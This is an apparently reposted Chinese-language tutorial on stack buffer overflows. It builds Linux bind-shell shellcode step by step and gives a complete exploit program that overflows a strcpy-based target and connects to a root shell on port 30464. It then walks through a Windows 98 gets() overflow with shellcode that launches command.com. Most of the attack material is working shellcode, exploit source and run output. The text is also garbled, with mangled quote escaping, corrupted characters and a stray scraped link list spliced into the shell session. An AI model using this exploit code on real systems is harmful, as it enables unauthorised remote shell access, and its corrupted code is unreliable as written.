0x804cd92 <listen+18>: movl %edx,%ebx
0x804cd94 <listen+20>: cmpl $0xffffff83,%eax
0x804cd97 <listen+23>: jae 0x804cdc0 <__syscall_error>
0x804cd9d <listen+29>: ret
0x804cd9e <listen+30>: nop
0x804cd9f <listen+31>: nop
End of assembler dump.
(gdb) disassemble accept
Dump of assembler code for function __accept:
0x804cd40 <__accept>: movl %ebx,%edx
0x804cd42 <__accept+2>: movl $0x66,%eax
0x804cd47 <__accept+7>: movl $0x5,%ebx
0x804cd4c <__accept+12>: leal 0x4(%esp,1),%ecx
0x804cd50 <__accept+16>: int $0x80
0x804cd52 <__accept+18>: movl %edx,%ebx
0x804cd54 <__accept+20>: cmpl $0xffffff83,%eax
0x804cd57 <__accept+23>: jae 0x804cdc0 <__syscall_error>
0x804cd5d <__accept+29>: ret
0x804cd5e <__accept+30>: nop
0x804cd5f <__accept+31>: nop
End of assembler dump.
(gdb) disassemble dup2
Dump of assembler code for function dup2:
0x804cbe0 <dup2>: movl %ebx,%edx
0x804cbe2 <dup2+2>: movl 0x8(%esp,1),%ecx
0x804cbe6 <dup2+6>: movl 0x4(%esp,1),%ebx
0x804cbea <dup2+10>: movl $0x3f,%eax
0x804cbef <dup2+15>: int $0x80
0x804cbf1 <dup2+17>: movl %edx,%ebx
0x804cbf3 <dup2+19>: cmpl $0xfffff001,%eax
0x804cbf8 <dup2+24>: jae 0x804cdc0 <__syscall_error>
0x804cbfe <dup2+30>: ret
0x804cbff <dup2+31>: nop
End of assembler dump.

如今能夠?qū)懮厦鎐代碼的匯編語句了。


fork()的匯編代碼
------------------------------------------------------------------------
----
char code[]=
/"//x31//xc0/" /* xorl %eax,%eax */
/"//xb0//x02/" /* movb $0x2,%al */
/"//xcd//x80/" /* int $0x80 */
------------------------------------------------------------------------
----

socket(2,1,6)的匯編代碼
注:AF_INET=2,SOCK_STREAM=1,IPPROTO_TCP=6
------------------------------------------------------------------------
----
/* socket使用66號系統(tǒng)調(diào)用,1號子調(diào)用。 */
/* 他使用一段內(nèi)存塊來傳遞參數(shù)2,1,6。 */
/* %ecx 里面為這個內(nèi)存塊的地址指針. */
char code[]=
/"//x31//xc0/" /* xorl %eax,%eax */
/"//x31//xdb/" /* xorl %ebx,%ebx */
/"//x89//xf1/" /* movl %esi,%ecx */
/"//xb0//x02/" /* movb $0x2,%al */
/"//x89//x06/" /* movl %eax,(%esi) */
/* 第一個參數(shù) */
/* %esi 指向一段未使用的內(nèi)存空間 */
/"//xb0//x01/" /* movb $0x1,%al */
/"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
/* 第二個參數(shù) */
/"//xb0//x06/" /* movb $0x6,%al */
/"//x89//x46//x08/" /* movl %eax,0x8(%esi) */
/* 第三個參數(shù). */
/"//xb0//x66/" /* movb $0x66,%al */
/"//xb3//x01/" /* movb $0x1,%bl */
/"//xcd//x80/" /* int $0x80 */
------------------------------------------------------------------------
----

bind(soc,(struct sockaddr *)&serv_addr,0x10)的匯編代碼
------------------------------------------------------------------------
----
/* bind使用66號系統(tǒng)調(diào)用,2號子調(diào)用。 */
/* 他使用一段內(nèi)存塊來傳遞參數(shù)。 */
/* %ecx 里面為這個內(nèi)存塊的地址指針. */
char code[]=
/"//x89//xf1/" /* movl %esi,%ecx */
/"//x89//x06/" /* movl %eax,(%esi) */
/* %eax 的內(nèi)容為剛才socket調(diào)用的返回值, */
/* 就是soc文件描寫敘述符,作為第一個參數(shù) */
/"//xb0//x02/" /* movb $0x2,%al */
/"//x66//x89//x46//x0c/" /* movw %ax,0xc(%esi) */
/* serv_addr.sin_family=AF_NET(2) */
/* 2 放在 0xc(%esi). */
/"//xb0//x77/" /* movb $0x77,%al */
/"//x66//x89//x46//x0e/" /* movw %ax,0xe(%esi) */
/* port號(0x7700=30464)放在 0xe(%esi) */
/"//x8d//x46//x0c/" /* leal 0xc(%esi),%eax */
/* %eax = serv_addr 的地址 */
/"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
/* 第二個參數(shù). */
/"//x31//xc0/" /* xorl %eax,%eax */
/"//x89//x46//x10/" /* movl %eax,0x10(%esi) */
/* serv_addr.sin_addr.s_addr=0 */
/"//xb0//x10/" /* movb $0x10,%al */
/"//x89//x46//x08/" /* movl %eax,0x8(%esi) */
/* 第三個參數(shù) . */
/"//xb0//x66/" /* movb $0x66,%al */
/"//xb3//x02/" /* movb $0x2,%bl */
/"//xcd//x80/" /* int $0x80 */
------------------------------------------------------------------------
----

listen(soc,1)的匯編代碼
------------------------------------------------------------------------
----
/* listen使用66號系統(tǒng)調(diào)用,4號子調(diào)用。 */
/* 他使用一段內(nèi)存塊來傳遞參數(shù)。 */
/* %ecx 里面為這個內(nèi)存塊的地址指針. */
char code[]=
/"//x89//xf1/" /* movl %esi,%ecx */
/"//x89//x06/" /* movl %eax,(%esi) */
/* %eax 的內(nèi)容為剛才socket調(diào)用的返回值, */
/* 就是soc文件描寫敘述符,作為第一個參數(shù) */
/"//xb0//x01/" /* movb $0x1,%al */
/"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
/* 第二個參數(shù). */
/"//xb0//x66/" /* movb $0x66,%al */
/"//xb3//x04/" /* movb $0x4,%bl */
/"//xcd//x80/" /* int $0x80 */
------------------------------------------------------------------------
----

accept(soc,0,0)的匯編代碼
------------------------------------------------------------------------
----
/* accept使用66號系統(tǒng)調(diào)用,5號子調(diào)用。 */
/* 他使用一段內(nèi)存塊來傳遞參數(shù)。 */
/* %ecx 里面為這個內(nèi)存塊的地址指針. */
char code[]=
/"//x89//xf1/" /* movl %esi,%ecx */
/"//x89//xf1/" /* movl %eax,(%esi) */
/* %eax 的內(nèi)容為剛才socket調(diào)用的返回值, */
/* 就是soc文件描寫敘述符,作為第一個參數(shù) */
/"//x31//xc0/" /* xorl %eax,%eax */
/"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
/* 第二個參數(shù). */
/"//x89//x46//x08/" /* movl %eax,0x8(%esi) */
/* 第三個參數(shù). */
/"//xb0//x66/" /* movb $0x66,%al */
/"//xb3//x05/" /* movb $0x5,%bl */
/"//xcd//x80/" /* int $0x80 */
------------------------------------------------------------------------
----

dup2(cli,0)的匯編代碼
------------------------------------------------------------------------
----
/* 第一個參數(shù)為 %ebx, 第二個參數(shù)為 %ecx */
char code[]=
/* %eax 里面是剛才accept調(diào)用的返回值, */
/* 客戶的文件描寫敘述符cli . */
/"//x88//xc3/" /* movb %al,%bl */
/"//xb0//x3f/" /* movb $0x3f,%al */
/"//x31//xc9/" /* xorl %ecx,%ecx */
/"//xcd//x80/" /* int $0x80 */
------------------------------------------------------------------------
----

如今該把這些全部的細節(jié)都串起來,形成一個新的shell的時候了。

new shellcode
------------------------------------------------------------------------
----
char shellcode[]=
00 /"//x31//xc0/" /* xorl %eax,%eax */
02 /"//xb0//x02/" /* movb $0x2,%al */
04 /"//xcd//x80/" /* int $0x80 */
06 /"//x85//xc0/" /* testl %eax,%eax */
08 /"//x75//x43/" /* jne 0x43 */
/* 運行fork(),當fork()!=0 的時候,表明是父進程,要終止 */
/* 因此,跳到0x43+a=0x4d,再跳到后面,運行 exit(0) */
0a /"//xeb//x43/" /* jmp 0x43 */
/* 當fork()==0 的時候,表明是子進程 */
/* 因此,跳到0x43+0c=0x4f,再跳到后面,運行 call -0xa5 */

0c /"//x5e/" /* popl %esi */
0d /"//x31//xc0/" /* xorl %eax,%eax */
0f /"//x31//xdb/" /* xorl %ebx,%ebx */
11 /"//x89//xf1/" /* movl %esi,%ecx */
13 /"//xb0//x02/" /* movb $0x2,%al */
15 /"//x89//x06/" /* movl %eax,(%esi) */
17 /"//xb0//x01/" /* movb $0x1,%al */
19 /"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
1c /"//xb0//x06/" /* movb $0x6,%al */
1e /"//x89//x46//x08/" /* movl %eax,0x8(%esi) */
21 /"//xb0//x66/" /* movb $0x66,%al */
23 /"//xb3//x01/" /* movb $0x1,%bl */
25 /"//xcd//x80/" /* int $0x80 */
/* 運行socket(),eax里面為返回值soc文件描寫敘述符 */

27 /"//x89//x06/" /* movl %eax,(%esi) */
29 /"//xb0//x02/" /* movb $0x2,%al */
2d /"//x66//x89//x46//x0c/" /* movw %ax,0xc(%esi) */
2f /"//xb0//x77/" /* movb $0x77,%al */
31 /"//x66//x89//x46//x0e/" /* movw %ax,0xe(%esi) */
35 /"//x8d//x46//x0c/" /* leal 0xc(%esi),%eax */
38 /"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
3b /"//x31//xc0/" /* xorl %eax,%eax */
3d /"//x89//x46//x10/" /* movl %eax,0x10(%esi) */
40 /"//xb0//x10/" /* movb $0x10,%al */
42 /"//x89//x46//x08/" /* movl %eax,0x8(%esi) */
45 /"//xb0//x66/" /* movb $0x66,%al */
47 /"//xb3//x02/" /* movb $0x2,%bl */
49 /"//xcd//x80/" /* int $0x80 */
/* 運行bind() */

4b /"//xeb//x04/" /* jmp 0x4 */
/* 越過以下的兩個跳轉(zhuǎn) */

4d /"//xeb//x55/" /* jmp 0x55 */
/* 跳到0x4f+0x55=0xa4 */

4f /"//xeb//x5b/" /* jmp 0x5b */
/* 跳到0x51+0x5b=0xac */

51 /"//xb0//x01/" /* movb $0x1,%al */
53 /"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
56 /"//xb0//x66/" /* movb $0x66,%al */
58 /"//xb3//x04/" /* movb $0x4,%bl */
5a /"//xcd//x80/" /* int $0x80 */
/* 運行l(wèi)isten() */

5c /"//x31//xc0/" /* xorl %eax,%eax */
5e /"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
61 /"//x89//x46//x08/" /* movl %eax,0x8(%esi) */
64 /"//xb0//x66/" /* movb $0x66,%al */
66 /"//xb3//x05/" /* movb $0x5,%bl */
68 /"//xcd//x80/" /* int $0x80 */
/* 運行accept(),eax里面為返回值cli文件描寫敘述符 */

6a /"//x88//xc3/" /* movb %al,%bl */
6c /"//xb0//x3f/" /* movb $0x3f,%al */
6e /"//x31//xc9/" /* xorl %ecx,%ecx */
70 /"//xcd//x80/" /* int $0x80 */
72 /"//xb0//x3f/" /* movb $0x3f,%al */
74 /"//xb1//x01/" /* movb $0x1,%cl */
76 /"//xcd//x80/" /* int $0x80 */
78 /"//xb0//x3f/" /* movb $0x3f,%al */
7a /"//xb1//x02/" /* movb $0x2,%cl */
7c /"//xcd//x80/" /* int $0x80 */
/* 運行三個dup2() */

7e /"//xb8//x2f//x62//x69//x6e/" /* movl $0x6e69622f,%eax */
/* %eax=/"/bin/" */
83 /"//x89//x06/" /* movl %eax,(%esi) */
85 /"//xb8//x2f//x73//x68//x2f/" /* movl $0x2f68732f,%eax */
/* %eax=/"/sh//" */
8a /"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
8d /"//x31//xc0/" /* xorl %eax,%eax */
8f /"//x88//x46//x07/" /* movb %al,0x7(%esi) */
92 /"//x89//x76//x08/" /* movl %esi,0x8(%esi) */
95 /"//x89//x46//x0c/" /* movl %eax,0xc(%esi) */
98 /"//xb0//x0b/" /* movb $0xb,%al */
9a /"//x89//xf3/" /* movl %esi,%ebx */
9c /"//x8d//x4e//x08/" /* leal 0x8(%esi),%ecx */
9f /"//x8d//x56//x0c/" /* leal 0xc(%esi),%edx */
a2 /"//xcd//x80/" /* int $0x80 */
/* 運行execve() */
/* 執(zhí)行/bin/sh() */

a4 /"//x31//xc0/" /* xorl %eax,%eax */
a6 /"//xb0//x01/" /* movb $0x1,%al */
a8 /"//x31//xdb/" /* xorl %ebx,%ebx */
aa /"//xcd//x80/" /* int $0x80 */
/* 運行exit() */

ac /"//xe8//x5b//xff//xff//xff/" /* call -0xa5 */
/* 運行0x0c處的指令 */

b1
------------------------------------------------------------------------
----

好,長長的shell最終寫完了,以下就是攻擊程序了。

exploit4.c
------------------------------------------------------------------------
----
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<netdb.h>
#include<netinet/in.h>

#define ALIGN 0
#define OFFSET 0
#define RET_POSITION 1024
#define RANGE 200
#define NOP 0x90

char shellcode[]=
/"//x31//xc0/" /* xorl %eax,%eax */
/"//xb0//x02/" /* movb $0x2,%al */
/"//xcd//x80/" /* int $0x80 */
/"//x85//xc0/" /* testl %eax,%eax */
/"//x75//x43/" /* jne 0x43 */
/"//xeb//x43/" /* jmp 0x43 */
/"//x5e/" /* popl %esi */
/"//x31//xc0/" /* xorl %eax,%eax */
/"//x31//xdb/" /* xorl %ebx,%ebx */
/"//x89//xf1/" /* movl %esi,%ecx */
/"//xb0//x02/" /* movb $0x2,%al */
/"//x89//x06/" /* movl %eax,(%esi) */
/"//xb0//x01/" /* movb $0x1,%al */
/"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
/"//xb0//x06/" /* movb $0x6,%al */
/"//x89//x46//x08/" /* movl %eax,0x8(%esi) */
/"//xb0//x66/" /* movb $0x66,%al */
/"//xb3//x01/" /* movb $0x1,%bl */
/"//xcd//x80/" /* int $0x80 */
/"//x89//x06/" /* movl %eax,(%esi) */
/"//xb0//x02/" /* movb $0x2,%al */
/"//x66//x89//x46//x0c/" /* movw %ax,0xc(%esi) */
/"//xb0//x77/" /* movb $0x77,%al */
/"//x66//x89//x46//x0e/" /* movw %ax,0xe(%esi) */
/"//x8d//x46//x0c/" /* leal 0xc(%esi),%eax */
/"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
/"//x31//xc0/" /* xorl %eax,%eax */
/"//x89//x46//x10/" /* movl %eax,0x10(%esi) */
/"//xb0//x10/" /* movb $0x10,%al */
/"//x89//x46//x08/" /* movl %eax,0x8(%esi) */
/"//xb0//x66/" /* movb $0x66,%al */
/"//xb3//x02/" /* movb $0x2,%bl */
/"//xcd//x80/" /* int $0x80 */
/"//xeb//x04/" /* jmp 0x4 */
/"//xeb//x55/" /* jmp 0x55 */
/"//xeb//x5b/" /* jmp 0x5b */
/"//xb0//x01/" /* movb $0x1,%al */
/"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
/"//xb0//x66/" /* movb $0x66,%al */
/"//xb3//x04/" /* movb $0x4,%bl */
/"//xcd//x80/" /* int $0x80 */
/"//x31//xc0/" /* xorl %eax,%eax */
/"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
/"//x89//x46//x08/" /* movl %eax,0x8(%esi) */
/"//xb0//x66/" /* movb $0x66,%al */
/"//xb3//x05/" /* movb $0x5,%bl */
/"//xcd//x80/" /* int $0x80 */
/"//x88//xc3/" /* movb %al,%bl */
/"//xb0//x3f/" /* movb $0x3f,%al */
/"//x31//xc9/" /* xorl %ecx,%ecx */
/"//xcd//x80/" /* int $0x80 */
/"//xb0//x3f/" /* movb $0x3f,%al */
/"//xb1//x01/" /* movb $0x1,%cl */
/"//xcd//x80/" /* int $0x80 */
/"//xb0//x3f/" /* movb $0x3f,%al */
/"//xb1//x02/" /* movb $0x2,%cl */
/"//xcd//x80/" /* int $0x80 */
/"//xb8//x2f//x62//x69//x6e/" /* movl $0x6e69622f,%eax */
/"//x89//x06/" /* movl %eax,(%esi) */
/"//xb8//x2f//x73//x68//x2f/" /* movl $0x2f68732f,%eax */
/"//x89//x46//x04/" /* movl %eax,0x4(%esi) */
/"//x31//xc0/" /* xorl %eax,%eax */
/"//x88//x46//x07/" /* movb %al,0x7(%esi) */
/"//x89//x76//x08/" /* movl %esi,0x8(%esi) */
/"//x89//x46//x0c/" /* movl %eax,0xc(%esi) */
/"//xb0//x0b/" /* movb $0xb,%al */
/"//x89//xf3/" /* movl %esi,%ebx */
/"//x8d//x4e//x08/" /* leal 0x8(%esi),%ecx */
/"//x8d//x56//x0c/" /* leal 0xc(%esi),%edx */
/"//xcd//x80/" /* int $0x80 */
/"//x31//xc0/" /* xorl %eax,%eax */
/"//xb0//x01/" /* movb $0x1,%al */
/"//x31//xdb/" /* xorl %ebx,%ebx */
/"//xcd//x80/" /* int $0x80 */
/"//xe8//x5b//xff//xff//xff/" /* call -0xa5 */

unsigned long get_sp(void)
{
__asm__(/"movl %esp,%eax/");
}

long getip(char *name)
{
struct hostent *hp;
long ip;
if((ip=inet_addr(name))==-1)
{
if((hp=gethostbyname(name))==NULL)
{
fprintf(stderr,/"Can/"t resolve host.//n/");
exit(0);
}
memcpy(&ip,(hp->h_addr),4);
}
return ip;
}

int exec_sh(int sockfd)
{
char snd[4096],rcv[4096];
fd_set rset;
while(1)
{
FD_ZERO(&rset);
FD_SET(fileno(stdin),&rset);
FD_SET(sockfd,&rset);
select(255,&rset,NULL,NULL,NULL);
if(FD_ISSET(fileno(stdin),&rset))
{
memset(snd,0,sizeof(snd));
fgets(snd,sizeof(snd),stdin);
write(sockfd,snd,strlen(snd));
}
if(FD_ISSET(sockfd,&rset))
{
memset(rcv,0,sizeof(rcv));
if(read(sockfd,rcv,sizeof(rcv))<=0)
exit(0);
fputs(rcv,stdout);
}
}
}

int connect_sh(long ip)
{
int sockfd,i;
struct sockaddr_in sin;
printf(/"Connect to the shell//n/");
fflush(stdout);
memset(&sin,0,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_port=htons(30464);
sin.sin_addr.s_addr=ip;
if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf(/"Can/"t create socket//n/");
exit(0);
}
if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
{
printf(/"Can/"t connect to the shell//n/");
exit(0);
}
return sockfd;
}

void main(int argc,char **argv)
{
char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
long addr;
unsigned long sp;
int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
int i;
int sockfd;

if(argc>1)
offset=atoi(argv[1]);

sp=get_sp();
addr=sp-offset;

for(i=0;i<bsize;i+=4)
{
buff[i+ALIGN]=(addr&0x000000ff);
buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
buff[i+ALIGN+3]=(addr&0xff000000)>>24;
}

for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
buff[i]=NOP;

ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
for(i=0;i<strlen(shellcode);i++)
*(ptr++)=shellcode[i];

buff[bsize-1]=/"//0/"

printf(/"Jump to 0x%08x//n/",addr);

if(fork()==0)
{
execl(/"./vulnerable/",/"vulnerable/",buff,0);
exit(0);
}
sleep(5);
sockfd=connect_sh(getip(/"127.0.0.1/"));
exec_sh(sockfd);
}
------------------------------------------------------------------------
----
算法非常easy,先生成溢出串,格式為:NNNNSSSSAAAA。然后起一個子進程運行目標
程序
來模擬網(wǎng)絡daemon,參數(shù)為我們的字符串。好,堆棧溢出發(fā)生了。我們的
shellcode被
運行,那么在30464port就會有server在listen了。

父進程睡五秒,等待這些完畢。就連接本機的port30464。連接建立后,從socket
讀取
收到的字符串,打印到標準輸出,從標準輸入讀取字符串,傳到socket的server端



以下來試一試:

我們先寫一個漏洞程序:
vulnerable.C
------------------------------------------------------------------------
----

#include <stdio.h>

int main(int argc,char ** argv)
{
char buffer[1000];
printf(/"I am here%x,buffer%d//n/",buffer,strlen(argv[1]));
strcpy(buffer,argv[1]);

return 0;
}
------------------------------------------------------------------------
----

[nkl10]$ ./exploit
Jump to 0xbffff63c
I am herebffff280,buffer1224
Connect to the shell
Can/"t connect to the shell
看到了嗎?我在vulnerable.C里面增加了一個printf,打印buffer的首地址,這樣
就能夠
不用猜了。0xbffff63c-0xbffff280 = 956,好,就用956來進行偏移。

[nkl10]$./exploit 956
Jump to 0xbffff280
I am herebffff280,buffer1224
connect to shell
whoami
root
id
uid=0(root)......
uname -a
怎樣閱讀源碼 虛擬網(wǎng)絡計算工具介紹 網(wǎng)絡配置文件高速解讀 帳號安全 學習Linux網(wǎng)絡編程(1) Linux 指令大全(1) Linux下的網(wǎng)絡掃描利器:NMAP Linux入侵檢測 10個針對分布式拒絕服務攻擊有關的高速補救措施 BIND?8?exploit?木馬程序簡析? 相關鏈接共 136 篇 <<刷新該頁面能夠得到不同的keyword鏈接>> ,相關的鏈接)" href="http://www.safechina.net/article/showarticle.php?id=1003664001#" mce_href="http://www.safechina.net/article/showarticle.php?id=1003664001">Linux localhost.localdomain 2.2.5-15。。。


嘿嘿,大功告成了。

---------------------------------------------------------------

window系統(tǒng)下的堆棧溢出--原理篇
這一講我們來看看windows系統(tǒng)下的程序。我們的目的是研究怎樣利用windows程序

堆棧溢出漏洞。

讓我們從頭開始。windows 98第二版

首先,我們來寫一個問題程序:
#include <stdio.h>

int main()
{
char name[32];
gets(name);
for(int i=0;i<32&&name[i];i++)
printf(/"0x%x/",name[i]);
}

相信大家都看出來了,gets(name)對name數(shù)組沒有作邊界檢查。那么我們能夠給程

一個非常長的串,肯定能夠覆蓋堆棧中的返回地址。

C://Program Files//DevStudio//MyProjects//bo//Debug>vunera~1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaa
//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0
x61//0x61
//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0x61//0
x61//0x61

到這里,出現(xiàn)了那個熟悉的對話框“該程序運行了非法操作。。。”,太好了,點

具體信息button,看到EIP的值是0x61616161,哈哈,對話框還會把返回地址告訴我
們。
這個功能太好了,我們能夠選擇一個序列的輸入串,精確的確定存放返回地址的偏
移位置。

C://Program Files//DevStudio//MyProjects//bo//Debug>vunera~1
12345678910111213141516171819202122232425262728293031323334353637383940

//0x31//0x32//0x33//0x34//0x35//0x36//0x37//0x38//0x39//0x31//0x30//0x31//0x31//0x31//0
x32//0x31
//0x33//0x31//0x34//0x31//0x35//0x31//0x36//0x31//0x37//0x31//0x38//0x31//0x39//0x32//0
x30//0x32
到這里,又出現(xiàn)了那個熟悉的對話框“改程序運行了非法操作。。。”,點擊具體
信息
button,以下是具體信息:

VUNERABLE 在 00de:32363235 的模塊
<未知> 中導致無效頁錯誤。
Registers:
EAX=00000005 CS=017f EIP=32363235 EFLGS=00000246
EBX=00540000 SS=0187 ESP=0064fe00 EBP=32343233
ECX=00000020 DS=0187 ESI=816bffcc FS=11df
EDX=00411a68 ES=0187 EDI=00000000 GS=0000
Bytes at CS:EIP:

Stack dump:
32383237 33303339 33323331 33343333 33363335 33383337 c0000005
0064ff68
0064fe0c 0064fc30 0064ff68 004046f4 0040f088 00000000 0064ff78
bff8b86c

||||||哦哦,EIP的內(nèi)容為0x32363235,就是2625,EBP的內(nèi)容為0x32343233,就是2423,計

一下能夠知道,在堆棧中,從name變量地址開始偏移36處,是EBP的地址,從name
變量
地址開始偏移40處,是ret的地址。我們能夠給name數(shù)組輸入我們精心編寫的
shellcode。
我們僅僅要把name的開始地址放在溢出字符串的地址40就能夠了。那么,name的開始
地址
是多少呢?
通過上面的stack dump 我們能夠看到,當前ESP所指向的地址0x0064fe00,內(nèi)容為

0x32383237,那么計算得出,name的開始地址為:0x0064fe00-44=0x64fdd4。在
windows
系統(tǒng),其它執(zhí)行進程保持不變的情況下。我們每次執(zhí)行vunera~1的堆棧的開始地址

是同樣的。也就是說,每次執(zhí)行,name的地址都是0x64fdd4。

說到這里,大家一定已經(jīng)發(fā)現(xiàn)了這樣一個情況:在win系統(tǒng)中,因為有地址沖突檢
測,
出錯時寄存器影像和堆棧影像,使得我們對堆棧溢出漏洞能夠進行精確的分析
溢出偏移地址。這就使我們能夠精確的方便的尋找堆棧溢出漏洞。

OK,萬事具備,僅僅差shellcode了。

首先,考慮一下我們的shellcode要作什么?顯然,依據(jù)以往的經(jīng)驗,我們想開一

dos窗體,這樣在這個窗體下,我們就能夠作非常多事情。

開一個dos窗體的程序例如以下:
#include <windows.h>
#include <winbase.h>

typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;

char dllbuf[11] = /"msvcrt.dll/"
char sysbuf[7] = /"system/"
char cmdbuf[16] = /"command.com/"


LibHandle = LoadLibrary(dllbuf);

ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);

(ProcAdd) (cmdbuf);

return 0;
}

這個程序有必要詳解一下。我們知道運行一個command.com就能夠獲得一個
dos窗體。在C庫函數(shù)里面,語句system(command.com);將完畢我們須要的功能。

可是,windows不像UNIX那樣使用系統(tǒng)調(diào)用來實現(xiàn)關鍵函數(shù)。對于我們的程序來說

windows通過動態(tài)鏈接庫來提供系統(tǒng)函數(shù)。這就是所謂的Dll/"s。

因此,當我們想調(diào)用一個系統(tǒng)函數(shù)的時候,并不能直接引用他。我們必須找到那個

包括此函數(shù)的動態(tài)鏈接庫,由該動態(tài)鏈接庫提供這個函數(shù)的地址。DLL本身也有一

基本地址,該DLL每一次被載入都是從這個基本地址載入。比方,system函數(shù)由
msvcrt.dll
(the Microsoft Visual C++ Runtime library)提供,而msvcrt.dll每次都從
0x78000000地址開始。system函數(shù)位于msvcrt.dll的一個固定偏移處(這個偏移地

僅僅與msvcrt.dll的版本號有關,不同的版本號可能偏移地址不同)。我的系統(tǒng)上,
msvcrt.dll版本號為(v6.00.8397.0)。system的偏移地址為0x019824。

所以,要想運行system,我們必須首先使用LoadLibrary(msvcrt.dll)裝載動態(tài)鏈接

msvcrt.dll,獲得動態(tài)鏈接庫的句柄。然后使用GetProcAddress(LibHandle,
system)
獲得 system的真實地址。之后才干使用這個真實地址來調(diào)用system函數(shù)。

好了,如今能夠編譯運行,結(jié)果正確,我們得到了一個dos框。

如今對這個程序進行調(diào)試跟蹤匯編語言,能夠得到:
15: LibHandle = LoadLibrary(dllbuf);
00401075 lea edx,dword ptr [dllbuf]
00401078 push edx
00401079 call dword ptr [__imp__LoadLibraryA@4(0x00416134)]
0040107F mov dword ptr [LibHandle],eax
16:
17: ProcAdd = (MYPROC) GetProcAddress(LibHandle, sysbuf);
00401082 lea eax,dword ptr [sysbuf]
00401085 push eax
00401086 mov ecx,dword ptr [LibHandle]
00401089 push ecx
0040108A call dword ptr [__imp__GetProcAddress@8(0x00416188)]
00401090 mov dword ptr [ProcAdd],eax
;如今,eax的值為0x78019824就是system的真實地址。
;這個地址對于我的機器而言是唯一的。不用每次都找了。
18:
19: (ProcAdd) (cmdbuf);
00401093 lea edx,dword ptr [cmdbuf]
;使用堆棧傳遞參數(shù),僅僅有一個參數(shù),就是字符串/"command.com/"的地址
00401096 push edx
00401097 call dword ptr [ProcAdd]
0040109A add esp,4

如今我們能夠?qū)懗鲆欢螀R編代碼來完畢system,看以看我們的運行system調(diào)用的代

是否可以像我們設計的那樣工作:

#include <windows.h>
#include <winbase.h>

void main()
{

LoadLibrary(/"msvcrt.dll/");

__asm {
mov esp,ebp ;把ebp的內(nèi)容賦值給esp
push ebp ;保存ebp,esp-4
mov ebp,esp ;給ebp賦新值,將作為局部變量
的基指針
xor edi,edi ;
push edi ;壓入0,esp-4,
;作用是構(gòu)造字符串的結(jié)尾//0字符

sub esp,08h ;加上上面,一共同擁有12個字節(jié),
;用來放/"command.com/"。
mov byte ptr [ebp-0ch],63h ;
mov byte ptr [ebp-0bh],6fh ;
mov byte ptr [ebp-0ah],6dh ;
mov byte ptr [ebp-09h],6Dh ;
mov byte ptr [ebp-08h],61h ;
mov byte ptr [ebp-07h],6eh ;
mov byte ptr [ebp-06h],64h ;
mov byte ptr [ebp-05h],2Eh ;
mov byte ptr [ebp-04h],63h ;
mov byte ptr [ebp-03h],6fh ;
mov byte ptr [ebp-02h],6dh ;生成串/"command.com/".
lea eax,[ebp-0ch] ;
push eax ;串地址作為參數(shù)入棧
mov eax, 0x78019824 ;
call eax ;調(diào)用system
}
}
編譯,然后執(zhí)行。好,DOS框出來了。在提示符下輸入dir,copy......是不是想起

當年用286的時候了?

敲exit退出來,哎呀,發(fā)生了非法操作。Access Violation。這是肯定的,由于我
們的
程序已經(jīng)把堆棧指針搞亂了。

對上面的算法進行優(yōu)化,如今我們能夠?qū)懗鰏hellcode例如以下:
char shellcode[] = {
0x8B,0xE5, /*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC, /*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C */
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */

0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */

0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */

0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/
0x33,0xD2, /*xor edx, edx */
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/
0x50, /*push eax */
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */

0xFF,0xD0 /*call eax */
};

還記得第二講中那個測試shellcode的基本程序嗎?我們能夠用他來測試這個
shellcode:
#include <windows.h>
#include <winbase.h>
char shellcode[] = {
0x8B,0xE5, /*mov esp, ebp */
0x55, /*push ebp */
0x8B,0xEC, /*mov ebp, esp */
0x83,0xEC,0x0C, /*sub esp, 0000000C */
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */

0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */

0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */

